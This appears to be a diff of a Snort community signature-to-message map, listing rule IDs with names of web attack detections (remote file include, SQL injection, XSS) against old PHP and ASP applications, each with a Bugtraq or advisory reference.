+100000348 || COMMUNITY WEB-MISC Ezupload Pro customize.php remote file include || bugtraq,18135
+100000349 || COMMUNITY WEB-MISC Ezupload Pro initialize.php remote file include || bugtraq,18135
+100000350 || COMMUNITY WEB-MISC UBBThreads ubbt.inc.php remote file include || url,www.nukedx.com/?viewdoc=40
+100000351 || COMMUNITY WEB-MISC UBBThreads config[cookieprefix] remote file include || url,www.nukedx.com/?viewdoc=40
+100000352 || COMMUNITY WEB-MISC Blend Portal blend_common.php remote file include || bugtraq,18153 || url,www.nukedx.com/?viewdoc=41
+100000353 || COMMUNITY WEB-MISC tinyBB footers.php remote file include || bugtraq,18147
+100000354 || COMMUNITY WEB-MISC phpBB-Amod lang_activity.php remote file include || bugtraq,18155
+100000355 || COMMUNITY WEB-MISC eSyndiCat cron.php remote file include || url,secunia.com/advisories/20218/
+100000356 || COMMUNITY WEB-MISC BASE base_qry_common.php remote file include || url,secunia.com/advisories/20300/
+100000357 || COMMUNITY WEB-MISC BASE base_stat_common.php remote file include || url,secunia.com/advisories/20300/
+100000358 || COMMUNITY WEB-MISC BASE base_include.inc.php remote file include || url,secunia.com/advisories/20300/
+100000359 || COMMUNITY WEB-MISC Fastpublish CMS drucken.php remote file include || bugtraq,18163
+100000360 || COMMUNITY WEB-MISC Fastpublish CMS drucken2.php remote file include || bugtraq,18163
+100000361 || COMMUNITY WEB-MISC Fastpublish CMS email_an_benutzer.php remote file include || bugtraq,18163
+100000362 || COMMUNITY WEB-MISC Fastpublish CMS rechnung.php remote file include || bugtraq,18163
+100000363 || COMMUNITY WEB-MISC Fastpublish CMS search.php remote file include || bugtraq,18163
+100000364 || COMMUNITY WEB-MISC Fastpublish CMS admin.php remote file include || bugtraq,18163
+100000365 || COMMUNITY WEB-MISC phpNuke index.php remote file include || bugtraq,18186
+100000366 || COMMUNITY WEB-MISC phpNuke admin_ug_auth.php remote file include || bugtraq,18186
+100000367 || COMMUNITY WEB-MISC phpNuke admin_board.php remote file include || bugtraq,18186
+100000368 || COMMUNITY WEB-MISC phpNuke admin_disallow.php remote file include || bugtraq,18186
+100000369 || COMMUNITY WEB-MISC phpNuke admin_forumauth.php remote file include || bugtraq,18186
+100000370 || COMMUNITY WEB-MISC phpNuke admin_groups.php remote file include || bugtraq,18186
+100000371 || COMMUNITY WEB-MISC phpNuke admin_ranks.php remote file include || bugtraq,18186
+100000372 || COMMUNITY WEB-MISC phpNuke admin_styles.php remote file include || bugtraq,18186
+100000373 || COMMUNITY WEB-MISC phpNuke admin_user_ban.php remote file include || bugtraq,18186
+100000374 || COMMUNITY WEB-MISC phpNuke admin_words.php remote file include || bugtraq,18186
+100000375 || COMMUNITY WEB-MISC phpNuke admin_avatar.php remote file include || bugtraq,18186
+100000376 || COMMUNITY WEB-MISC phpNuke admin_db_utilities.php remote file include || bugtraq,18186
+100000377 || COMMUNITY WEB-MISC phpNuke admin_forum_prune.php remote file include || bugtraq,18186
+100000378 || COMMUNITY WEB-MISC phpNuke admin_forums.php remote file include || bugtraq,18186
+100000379 || COMMUNITY WEB-MISC phpNuke admin_mass_email.php remote file include || bugtraq,18186
+100000380 || COMMUNITY WEB-MISC phpNuke admin_smilies.php remote file include || bugtraq,18186
+100000381 || COMMUNITY DELETED phpNuke admin_ug_auth.php remote file include || bugtraq,18186
+100000382 || COMMUNITY WEB-MISC phpNuke admin_users.php remote file include || bugtraq,18186
+100000383 || COMMUNITY WEB-MISC OsTicket open_form.php remote file include || bugtraq,18190
+100000384 || COMMUNITY WEB-MISC Ottoman index.php remote file include || bugtraq,18208
+100000385 || COMMUNITY WEB-MISC Ottoman error.php remote file include || bugtraq,18208
+100000386 || COMMUNITY WEB-MISC Ottoman main_class.php remote file include || bugtraq,18208
+100000387 || COMMUNITY WEB-MISC Ovidentia index.php remote file include || bugtraq,18232
+100000388 || COMMUNITY WEB-MISC Ovidentia topman.php remote file include || bugtraq,18232
+100000389 || COMMUNITY WEB-MISC Ovidentia approb.php remote file include || bugtraq,18232
+100000390 || COMMUNITY WEB-MISC Ovidentia vacadmb.php remote file include || bugtraq,18232
+100000391 || COMMUNITY WEB-MISC Ovidentia vacadma.php remote file include || bugtraq,18232
+100000392 || COMMUNITY WEB-MISC Ovidentia vacadm.php remote file include || bugtraq,18232
+100000393 || COMMUNITY WEB-MISC Ovidentia start.php remote file include || bugtraq,18232
+100000394 || COMMUNITY WEB-MISC Ovidentia search.php remote file include || bugtraq,18232
+100000395 || COMMUNITY WEB-MISC Ovidentia posts.php remote file include || bugtraq,18232
+100000396 || COMMUNITY WEB-MISC Ovidentia options.php remote file include || bugtraq,18232
+100000397 || COMMUNITY WEB-MISC Ovidentia login.php remote file include || bugtraq,18232
+100000398 || COMMUNITY WEB-MISC Ovidentia frchart.php remote file include || bugtraq,18232
+100000399 || COMMUNITY WEB-MISC Ovidentia flbchart.php remote file include || bugtraq,18232
+100000400 || COMMUNITY WEB-MISC Ovidentia fileman.php remote file include || bugtraq,18232
+100000401 || COMMUNITY WEB-MISC Ovidentia faq.php remote file include || bugtraq,18232
+100000402 || COMMUNITY WEB-MISC Ovidentia event.php remote file include || bugtraq,18232
+100000403 || COMMUNITY WEB-MISC Ovidentia directory.php remote file include || bugtraq,18232
+100000404 || COMMUNITY WEB-MISC Ovidentia articles.php remote file include || bugtraq,18232
+100000405 || COMMUNITY WEB-MISC Ovidentia artedit.php remote file include || bugtraq,18232
+100000406 || COMMUNITY WEB-MISC Ovidentia approb.php remote file include || bugtraq,18232
+100000407 || COMMUNITY WEB-MISC Ovidentia calday.php remote file include || bugtraq,18232
+100000408 || COMMUNITY WEB-MISC AssoCIateD cache_mngt.php remote file include || bugtraq,18220
+100000409 || COMMUNITY WEB-MISC AssoCIateD gallery_functions.php remote file include || bugtraq,18220
+100000410 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000411 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000412 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000413 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000414 || COMMUNITY WEB-MISC REDAXO community.inc.php remote file include || bugtraq,18229
+100000415 || COMMUNITY WEB-MISC Bytehoard server.php remote file include || bugtraq,18234
+100000416 || COMMUNITY WEB-MISC MyBloggie admin.php remote file include || bugtraq,18241
+100000417 || COMMUNITY WEB-MISC MyBloggie scode.php remote file include || bugtraq,18241
+100000418 || COMMUNITY WEB-MISC Ashwebstudio Ashnews ashheadlines.php remote file include || bugtraq,18248
+100000419 || COMMUNITY WEB-MISC Ashwebstudio Ashnews ashnews.php remote file include || bugtraq,18248
+100000420 || COMMUNITY WEB-MISC Informium common-menu.php remote file include || bugtraq,18249
+100000421 || COMMUNITY WEB-MISC Igloo wiki.php remote file include || bugtraq,18250
+100000422 || COMMUNITY WEB-MISC phpBB template.php remote file include || bugtraq,18255
+100000423 || COMMUNITY WEB-MISC DotWidget CMS index.php remote file include || bugtraq,18258
+100000424 || COMMUNITY WEB-MISC DotWidget CMS feedback.php remote file include || bugtraq,18258
+100000425 || COMMUNITY WEB-MISC DotWidget CMS printfriendly.php remote file include || bugtraq,18258
+100000426 || COMMUNITY WEB-MISC DotClear prepend.php remote file include || bugtraq,18259
+100000427 || COMMUNITY WEB-MISC JBoss jmx-console html adaptor access || url,jboss.org/wiki/Wiki.jsp?page=JMXConsole
+100000428 || COMMUNITY WEB-MISC JBoss RMI class download service directory listing attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=111911095424496&w=2
+100000429 || COMMUNITY WEB-MISC JBoss web-console access || url,www.jboss.org/wiki/Wiki.jsp?page=WebConsole
+100000430 || COMMUNITY WEB-MISC BlueShoes Bs_Faq.class.php remote file include || bugtraq,18261
+100000431 || COMMUNITY WEB-MISC BlueShoes fileBrowserInner.php remote file include || bugtraq,18261
+100000432 || COMMUNITY WEB-MISC BlueShoes file.php remote file include || bugtraq,18261
+100000433 || COMMUNITY WEB-MISC BlueShoes viewer.php remote file include || bugtraq,18261
+100000434 || COMMUNITY WEB-MISC BlueShoes Bs_ImageArchive.class.php remote file include || bugtraq,18261
+100000435 || COMMUNITY WEB-MISC BlueShoes Bs_Ml_User.class.php remote file include || bugtraq,18261
+100000436 || COMMUNITY WEB-MISC BlueShoes Bs_Wse_Profile.class.php remote file include || bugtraq,18261
+100000437 || COMMUNITY WEB-MISC CS-Cart class.cs_phpmailer.php remote file include || bugtraq,18263
+100000438 || COMMUNITY WEB-MISC Claroline mambo.inc.php remote file include || bugtraq,18265
+100000439 || COMMUNITY WEB-MISC Claroline postnuke.inc.php remote file include || bugtraq,18265
+100000440 || COMMUNITY WEB-MISC CyBoards common.php remote file include || bugtraq,18272
+100000441 || COMMUNITY WEB-MISC Wikiwig wk_lang.php remote file include || bugtraq,18291
+100000442 || COMMUNITY WEB-MISC MiraksGalerie pcltar.lib.php remote file include || bugtraq,18313
+100000443 || COMMUNITY WEB-MISC MiraksGalerie galimage.lib.php remote file include || bugtraq,18313
+100000444 || COMMUNITY WEB-MISC MiraksGalerie galsecurity.lib.php remote file include || bugtraq,18313
+100000445 || COMMUNITY WEB-PHP Particle Gallery Viewimage PHP Variable Injection Attempt || bugtraq,18270
+100000446 || COMMUNITY WEB-PHP Particle Wiki PHP SQL Injection attempt || bugtraq,18273
+100000447 || COMMUNITY WEB-CLIENT Mozilla Firefox DOMNodeRemoved attack attempt || bugtraq,18228 || cve,2006-2779
+100000448 || COMMUNITY WEB-MISC OfficeFlow default.asp xss attempt || bugtraq,18367
+100000449 || COMMUNITY WEB-MISC OfficeFlow files.asp MSSQL injection attempt || bugtraq,18367
+100000450 || COMMUNITY WEB-MISC VanillaSoft Helpdesk default.asp xss attempt || bugtraq,18368
+100000451 || COMMUNITY WEB-MISC KAPhotoservice album.asp xss attempt || bugtraq,18379
+100000452 || COMMUNITY WEB-MISC KAPhotoservice album.asp xss attempt || bugtraq,18379
+100000453 || COMMUNITY WEB-MISC KAPhotoservice edtalbum.asp xss attempt || bugtraq,18379
+100000454 || COMMUNITY WEB-MISC KAPhotoservice edtalbum.asp xss attempt || bugtraq,18379
+100000455 || COMMUNITY WEB-MISC Axent Forum viewposts.cfm xss attempt || bugtraq,18473
+100000456 || COMMUNITY WEB-MISC SSPwiz index.cfm xss attempt || bugtraq,18482
+100000457 || COMMUNITY WEB-MISC ASP Stats pages.asp MSSQL injection attempt || bugtraq,18512
+100000458 || COMMUNITY WEB-MISC DPVision Tradingeye Shop details.cfm xss attempt || bugtraq,18526
+100000459 || COMMUNITY WEB-MISC WeBBoA yeni_host.asp MSSQL injection attempt || bugtraq,18564
+100000460 || COMMUNITY WEB-MISC AZureus index.tmpl xss attempt || bugtraq,18596
+100000461 || COMMUNITY WEB-MISC Open WebMail openwebmail-read.pl xss attempt || bugtraq,18598
+100000462 || COMMUNITY WEB-MISC Open WebMail openwebmail-read.pl xss attempt || bugtraq,18598
+100000463 || COMMUNITY WEB-PHP Joomla joomla.php remote file include || bugtraq,18363
+100000464 || COMMUNITY WEB-PHP LoveCompass AEPartner design.inc.php remote file include || bugtraq,18370
+100000465 || COMMUNITY WEB-PHP Empris sql_fcnsOLD.php remote file include || bugtraq,18371
+100000466 || COMMUNITY WEB-PHP Free QBoard post.php remote file include || bugtraq,18373
+100000467 || COMMUNITY WEB-PHP WebprojectDB nav.php remote file include || bugtraq,18378
+100000468 || COMMUNITY WEB-PHP WebprojectDB lang.php remote file include || bugtraq,18378
+100000469 || COMMUNITY WEB-PHP iFoto index.php xss attempt || bugtraq,18391
+100000470 || COMMUNITY WEB-PHP Foing manage_songs.php remote file include || bugtraq,18392
+100000471 || COMMUNITY WEB-PHP VBZoom show.php SQL injection attempt || bugtraq,18403
+100000472 || COMMUNITY WEB-PHP VBZoom show.php SQL injection attempt || bugtraq,18403
+100000473 || COMMUNITY WEB-PHP VBZoom language.php SQL injection attempt || bugtraq,18403
+100000474 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000475 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000476 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000477 || COMMUNITY WEB-PHP VBZoom subject.php SQL injection attempt || bugtraq,18403
+100000478 || COMMUNITY WEB-PHP aWebNews visview.php remote file include || bugtraq,18406
+100000479 || COMMUNITY WEB-PHP CzarNews headlines.php remote file include || bugtraq,18411
+100000480 || COMMUNITY WEB-PHP Somery team.php remote file include || bugtraq,18412
+100000481 || COMMUNITY WEB-PHP Hinton Design PHPHG signed.php remote file include || bugtraq,18413
+100000482 || COMMUNITY WEB-PHP BoastMachine vote.php remote file include || bugtraq,18415
+100000483 || COMMUNITY WEB-PHP Wheatblog view_links.php remote file include || bugtraq,18416
+100000484 || COMMUNITY WEB-PHP Confixx ftp_index.php xss attempt || bugtraq,18426
+100000485 || COMMUNITY WEB-PHP RahnemaCo page.php remote file include || bugtraq,18435
+100000486 || COMMUNITY WEB-PHP PhpBlueDragon CMS template.php remote file include || bugtraq,18440
+100000487 || COMMUNITY WEB-PHP ISPConfig server.inc.php remote file include || bugtraq,18441
+100000488 || COMMUNITY WEB-PHP ISPConfig app.inc.php remote file include || bugtraq,18441
+100000489 || COMMUNITY WEB-PHP ISPConfig login.php remote file include || bugtraq,18441
+100000490 || COMMUNITY WEB-PHP ISPConfig trylogin.php remote file include || bugtraq,18441
+100000491 || COMMUNITY WEB-PHP DeluxeBB posting.php remote file include || bugtraq,18455
+100000492 || COMMUNITY WEB-PHP DeluxeBB newpm.php remote file include || bugtraq,18455
+100000493 || COMMUNITY WEB-PHP DeluxeBB postreply.php remote file include || bugtraq,18455
+100000494 || COMMUNITY WEB-PHP Zeroboard write_ok.php xss attempt || bugtraq,18458
+100000495 || COMMUNITY WEB-PHP Zeroboard write_ok.php xss attempt || bugtraq,18458
+100000496 || COMMUNITY WEB-PHP Chipmailer index.php SQL injection attempt || bugtraq,18463
+100000497 || COMMUNITY WEB-PHP Calendarix cal_event.php SQL injection attempt || bugtraq,18469
+100000498 || COMMUNITY WEB-PHP Calendarix cal_popup.php SQL injection attempt || bugtraq,18469
+100000499 || COMMUNITY WEB-PHP PictureDis thumstbl.php remote file include || bugtraq,18471
+100000500 || COMMUNITY WEB-PHP PictureDis wpfiles.php remote file include || bugtraq,18471
+100000501 || COMMUNITY WEB-PHP PictureDis wallpapr.php remote file include || bugtraq,18471
+100000502 || COMMUNITY WEB-PHP Ji-Takz tag.class.php remote file include || bugtraq,18474
+100000503 || COMMUNITY WEB-PHP Nucleus CMS action.php remote file include || bugtraq,18475
+100000504 || COMMUNITY WEB-PHP Nucleus CMS media.php remote file include || bugtraq,18475
+100000505 || COMMUNITY WEB-PHP Nucleus CMS server.php remote file include || bugtraq,18475
+100000506 || COMMUNITY WEB-PHP Nucleus CMS api_metaweblog.inc.php remote file include || bugtraq,18475
+100000507 || COMMUNITY WEB-PHP FlashChat adminips.php remote file include || bugtraq,18480
+100000508 || COMMUNITY WEB-PHP Wikkawiki wakka.php access || bugtraq,18481
+100000509 || COMMUNITY WEB-PHP RahnemaCo page.php remote file include || bugtraq,18490
+100000510 || COMMUNITY WEB-PHP VBZoom rank.php SQL injection attempt || bugtraq,18497
+100000511 || COMMUNITY WEB-PHP VBZoom message.php SQL injection attempt || bugtraq,18497
+100000512 || COMMUNITY WEB-PHP VBZoom lng.php SQL injection attempt || bugtraq,18497
+100000513 || COMMUNITY WEB-PHP SAPHPLesson showcat.php SQL injection attempt || bugtraq,18501
+100000514 || COMMUNITY WEB-PHP SAPHPLesson misc.php SQL injection attempt || bugtraq,18501
+100000515 || COMMUNITY WEB-PHP CMS Faethon header.php xss attempt || bugtraq,18505
+100000516 || COMMUNITY WEB-PHP CMS Faethon footer.php xss attempt || bugtraq,18505
+100000517 || COMMUNITY WEB-PHP e107 search.php xss attempt || bugtraq,18508
+100000518 || COMMUNITY WEB-PHP PHP Live Helper initiate.php remote file include || bugtraq,18509
+100000519 || COMMUNITY WEB-PHP VUBB index.php SQL injection attempt || bugtraq,18516
+100000520 || COMMUNITY WEB-PHP Xarancms xaramcms_haupt.php SQL injection attempt || bugtraq,18520
+100000521 || COMMUNITY WEB-PHP TPL Design TplShop category.php SQL injection attempt || bugtraq,18524
+100000522 || COMMUNITY WEB-PHP The Edge eCommerce Shop productDetail.php xss attempt || bugtraq,18528
+100000523 || COMMUNITY WEB-PHP CavoxCms index.php SQL injection attempt || bugtraq,18533
+100000524 || COMMUNITY WEB-PHP Micro CMS microcms-include.php remote file include || bugtraq,18537
+100000525 || COMMUNITY WEB-PHP PHPMyDirectory offer-pix.php xss attempt || bugtraq,18539
+100000526 || COMMUNITY WEB-PHP PHPMyDirectory index.php xss attempt || bugtraq,18539
+100000527 || COMMUNITY WEB-PHP AssoCIateD index.php xss attempt || bugtraq,18541
+100000528 || COMMUNITY WEB-PHP PHPMyForum topic.php xss attempt || bugtraq,18542
+100000529 || COMMUNITY WEB-PHP NC Linklist index.php xss attempt || bugtraq,18546
+100000530 || COMMUNITY WEB-PHP NC Linklist index.php xss attempt || bugtraq,18546
+100000531 || COMMUNITY WEB-PHP BtitTracker torrents.php SQL injection attempt || bugtraq,18549
+100000532 || COMMUNITY WEB-PHP BtitTracker torrents.php SQL injection attempt || bugtraq,18549
+100000533 || COMMUNITY WEB-PHP VUBB functions.php SQL injection attempt || bugtraq,18561
+100000534 || COMMUNITY WEB-PHP VUBB english.php xss attempt || bugtraq,18562
+100000535 || COMMUNITY WEB-PHP IMGallery galeria.php SQL injection attempt || bugtraq,18566
+100000536 || COMMUNITY WEB-PHP IMGallery galeria.php SQL injection attempt || bugtraq,18566
+100000537 || COMMUNITY WEB-PHP thinkWMS index.php SQL injection attempt || bugtraq,18567
+100000538 || COMMUNITY WEB-PHP thinkWMS index.php SQL injection attempt || bugtraq,18567
+100000539 || COMMUNITY WEB-PHP thinkWMS printarticle.php SQL injection attempt || bugtraq,18567
+100000540 || COMMUNITY WEB-PHP Enterprise Groupware index.php xss attempt || bugtraq,18590
+100000541 || COMMUNITY WEB-PHP Dating Agent picture.php SQL injection attempt || bugtraq,18607
+100000542 || COMMUNITY WEB-PHP Dating Agent mem.php SQL injection attempt || bugtraq,18607
+100000543 || COMMUNITY WEB-PHP Dating Agent search.php SQL injection attempt || bugtraq,18607
+100000544 || COMMUNITY WEB-PHP Dating Agent search.php SQL injection attempt || bugtraq,18607
+100000545 || COMMUNITY WEB-PHP PHP Blue Dragon CMS team_admin.php remote file include || bugtraq,18609
+100000546 || COMMUNITY WEB-PHP PHP Blue Dragon CMS rss_admin.php remote file include || bugtraq,18609
+100000547 || COMMUNITY WEB-PHP PHP Blue Dragon CMS manual_admin.php remote file include || bugtraq,18609
+100000548 || COMMUNITY WEB-PHP PHP Blue Dragon CMS forum_admin.php remote file include || bugtraq,18609
+100000549 || COMMUNITY WEB-PHP Custom Datin Biz user_view.php xss attempt || bugtraq,18626
+100000550 || COMMUNITY WEB-PHP Project Eros BBSEngine comment.php access || bugtraq,18627
+100000551 || COMMUNITY WEB-PHP Project Eros BBSEngine aolbonics.php access || bugtraq,18627
+100000552 || COMMUNITY WEB-PHP SmartSiteCMS inc_foot.php remote file include || bugtraq,18628
+100000553 || COMMUNITY WEB-PHP PHPMySMS gateway.php remote file include || bugtraq,18633
+100000554 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000555 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000556 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000557 || COMMUNITY WEB-PHP VebiMiau index.php xss attempt || bugtraq,18643
+100000558 || COMMUNITY WEB-PHP VebiMiau messages.php xss attempt || bugtraq,18643
+100000559 || COMMUNITY WEB-PHP Infinite Core Technologies ICT index.php SQL injection attempt || bugtraq,18644
+100000560 || COMMUNITY WEB-PHP eNpaper1 root_header.php remote file include || bugtraq,18649
+100000561 || COMMUNITY WEB-PHP dotProject ui.class.php xss attempt || bugtraq,18650
+100000562 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000563 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000564 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000565 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000566 || COMMUNITY WEB-PHP XennoBB messages.php xss attempt || bugtraq,18652
+100000567 || COMMUNITY WEB-PHP Qdig index.php xss attempt || bugtraq,18653
+100000568 || COMMUNITY WEB-PHP Qdig index.php xss attempt || bugtraq,18653
+100000569 || COMMUNITY WEB-PHP Indexu app_change_email.php remote file include || bugtraq,18477
+100000570 || COMMUNITY WEB-PHP Indexu app_change_pwd.php remote file include || bugtraq,18477
+100000571 || COMMUNITY WEB-PHP Indexu app_mod_rewrite.php remote file include || bugtraq,18477
+100000572 || COMMUNITY WEB-PHP Indexu app_page_caching.php remote file include || bugtraq,18477
+100000573 || COMMUNITY WEB-PHP Indexu app_setup.php remote file include || bugtraq,18477
+100000574 || COMMUNITY WEB-PHP Indexu cat_add.php remote file include || bugtraq,18477
+100000575 || COMMUNITY WEB-PHP Indexu cat_delete.php remote file include || bugtraq,18477
+100000576 || COMMUNITY WEB-PHP Indexu cat_edit.php remote file include || bugtraq,18477
+100000577 || COMMUNITY WEB-PHP Indexu cat_path_update.php remote file include || bugtraq,18477
+100000578 || COMMUNITY WEB-PHP Indexu cat_search.php remote file include || bugtraq,18477
+100000579 || COMMUNITY WEB-PHP Indexu cat_struc.php remote file include || bugtraq,18477
+100000580 || COMMUNITY WEB-PHP Indexu cat_view.php remote file include || bugtraq,18477
+100000581 || COMMUNITY WEB-PHP Indexu cat_view_hidden.php remote file include || bugtraq,18477
+100000582 || COMMUNITY WEB-PHP Indexu cat_view_hierarchy.php remote file include || bugtraq,18477
+100000583 || COMMUNITY WEB-PHP Indexu cat_view_registered_only.php remote file include || bugtraq,18477
+100000584 || COMMUNITY WEB-PHP Indexu checkurl_web.php remote file include || bugtraq,18477
+100000585 || COMMUNITY WEB-PHP Indexu db_alter.php remote file include || bugtraq,18477
+100000586 || COMMUNITY WEB-PHP Indexu db_alter_change.php remote file include || bugtraq,18477
+100000587 || COMMUNITY WEB-PHP Indexu db_backup.php remote file include || bugtraq,18477
+100000588 || COMMUNITY WEB-PHP Indexu db_export.php remote file include || bugtraq,18477
+100000589 || COMMUNITY WEB-PHP Indexu db_import.php remote file include || bugtraq,18477
+100000590 || COMMUNITY WEB-PHP Indexu editor_add.php remote file include || bugtraq,18477
+100000591 || COMMUNITY WEB-PHP Indexu editor_delete.php remote file include || bugtraq,18477
+100000592 || COMMUNITY WEB-PHP Indexu editor_validate.php remote file include || bugtraq,18477
+100000593 || COMMUNITY WEB-PHP Indexu head.php remote file include || bugtraq,18477
+100000594 || COMMUNITY WEB-PHP Indexu index.php remote file include || bugtraq,18477
+100000595 || COMMUNITY WEB-PHP Indexu inv_config.php remote file include || bugtraq,18477
+100000596 || COMMUNITY WEB-PHP Indexu inv_config_payment.php remote file include || bugtraq,18477
+100000597 || COMMUNITY WEB-PHP Indexu inv_create.php remote file include || bugtraq,18477
+100000598 || COMMUNITY WEB-PHP Indexu inv_delete.php remote file include || bugtraq,18477
+100000599 || COMMUNITY WEB-PHP Indexu inv_edit.php remote file include || bugtraq,18477
+100000600 || COMMUNITY WEB-PHP Indexu inv_markpaid.php remote file include || bugtraq,18477
+100000601 || COMMUNITY WEB-PHP Indexu inv_markunpaid.php remote file include || bugtraq,18477
+100000602 || COMMUNITY WEB-PHP Indexu inv_overdue.php remote file include || bugtraq,18477
+100000603 || COMMUNITY WEB-PHP Indexu inv_paid.php remote file include || bugtraq,18477
+100000604 || COMMUNITY WEB-PHP Indexu inv_send.php remote file include || bugtraq,18477
+100000605 || COMMUNITY WEB-PHP Indexu inv_unpaid.php remote file include || bugtraq,18477
+100000606 || COMMUNITY WEB-PHP Indexu lang_modify.php remote file include || bugtraq,18477
+100000607 || COMMUNITY WEB-PHP Indexu link_add.php remote file include || bugtraq,18477
+100000608 || COMMUNITY WEB-PHP Indexu link_bad.php remote file include || bugtraq,18477
+100000609 || COMMUNITY WEB-PHP Indexu link_bad_delete.php remote file include || bugtraq,18477
+100000610 || COMMUNITY WEB-PHP Indexu link_checkurl.php remote file include || bugtraq,18477
+100000611 || COMMUNITY WEB-PHP Indexu link_delete.php remote file include || bugtraq,18477
+100000612 || COMMUNITY WEB-PHP Indexu link_duplicate.php remote file include || bugtraq,18477
+100000613 || COMMUNITY WEB-PHP Indexu link_edit.php remote file include || bugtraq,18477
+100000614 || COMMUNITY WEB-PHP Indexu link_premium_listing.php remote file include || bugtraq,18477
+100000615 || COMMUNITY WEB-PHP Indexu link_premium_sponsored.php remote file include || bugtraq,18477
+100000616 || COMMUNITY WEB-PHP Indexu link_search.php remote file include || bugtraq,18477
+100000617 || COMMUNITY WEB-PHP Indexu link_sponsored_listing.php remote file include || bugtraq,18477
+100000618 || COMMUNITY WEB-PHP Indexu link_validate.php remote file include || bugtraq,18477
+100000619 || COMMUNITY WEB-PHP Indexu link_validate_edit.php remote file include || bugtraq,18477
+100000620 || COMMUNITY WEB-PHP Indexu link_view.php remote file include || bugtraq,18477
+100000621 || COMMUNITY WEB-PHP Indexu log_search.php remote file include || bugtraq,18477
+100000622 || COMMUNITY WEB-PHP Indexu mail_modify.php remote file include || bugtraq,18477
+100000623 || COMMUNITY WEB-PHP Indexu menu.php remote file include || bugtraq,18477
+100000624 || COMMUNITY WEB-PHP Indexu message_create.php remote file include || bugtraq,18477
+100000625 || COMMUNITY WEB-PHP Indexu message_delete.php remote file include || bugtraq,18477
+100000626 || COMMUNITY WEB-PHP Indexu message_edit.php remote file include || bugtraq,18477
+100000627 || COMMUNITY WEB-PHP Indexu message_send.php remote file include || bugtraq,18477
+100000628 || COMMUNITY WEB-PHP Indexu message_subscriber.php remote file include || bugtraq,18477
+100000629 || COMMUNITY WEB-PHP Indexu message_view.php remote file include || bugtraq,18477
+100000630 || COMMUNITY WEB-PHP Indexu review_validate.php remote file include || bugtraq,18477
+100000631 || COMMUNITY WEB-PHP Indexu review_validate_edit.php remote file include || bugtraq,18477
+100000632 || COMMUNITY WEB-PHP Indexu summary.php remote file include || bugtraq,18477
+100000633 || COMMUNITY WEB-PHP Indexu template_active.php remote file include || bugtraq,18477
+100000634 || COMMUNITY WEB-PHP Indexu template_add_custom.php remote file include || bugtraq,18477
+100000635 || COMMUNITY WEB-PHP Indexu template_delete.php remote file include || bugtraq,18477
+100000636 || COMMUNITY WEB-PHP Indexu template_delete_file.php remote file include || bugtraq,18477
+100000637 || COMMUNITY WEB-PHP Indexu template_duplicate.php remote file include || bugtraq,18477
+100000638 || COMMUNITY WEB-PHP Indexu template_export.php remote file include || bugtraq,18477
+100000639 || COMMUNITY WEB-PHP Indexu template_import.php remote file include || bugtraq,18477
+100000640 || COMMUNITY WEB-PHP Indexu template_manager.php remote file include || bugtraq,18477
+100000641 || COMMUNITY WEB-PHP Indexu template_modify.php remote file include || bugtraq,18477
+100000642 || COMMUNITY WEB-PHP Indexu template_modify_file.php remote file include || bugtraq,18477
+100000643 || COMMUNITY WEB-PHP Indexu template_rename.php remote file include || bugtraq,18477
+100000644 || COMMUNITY WEB-PHP Indexu user_add.php remote file include || bugtraq,18477
+100000645 || COMMUNITY WEB-PHP Indexu user_delete.php remote file include || bugtraq,18477
+100000646 || COMMUNITY WEB-PHP Indexu user_edit.php remote file include || bugtraq,18477
+100000647 || COMMUNITY WEB-PHP Indexu user_search.php remote file include || bugtraq,18477
+100000648 || COMMUNITY WEB-PHP Indexu whos.php remote file include || bugtraq,18477
+100000649 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000650 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000651 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000652 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000653 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000654 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000655 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000656 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000657 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000658 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000659 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000660 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000661 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000662 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000663 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000664 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000665 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000666 || COMMUNITY WEB-PHP Harpia files.php remote file include || bugtraq,18614
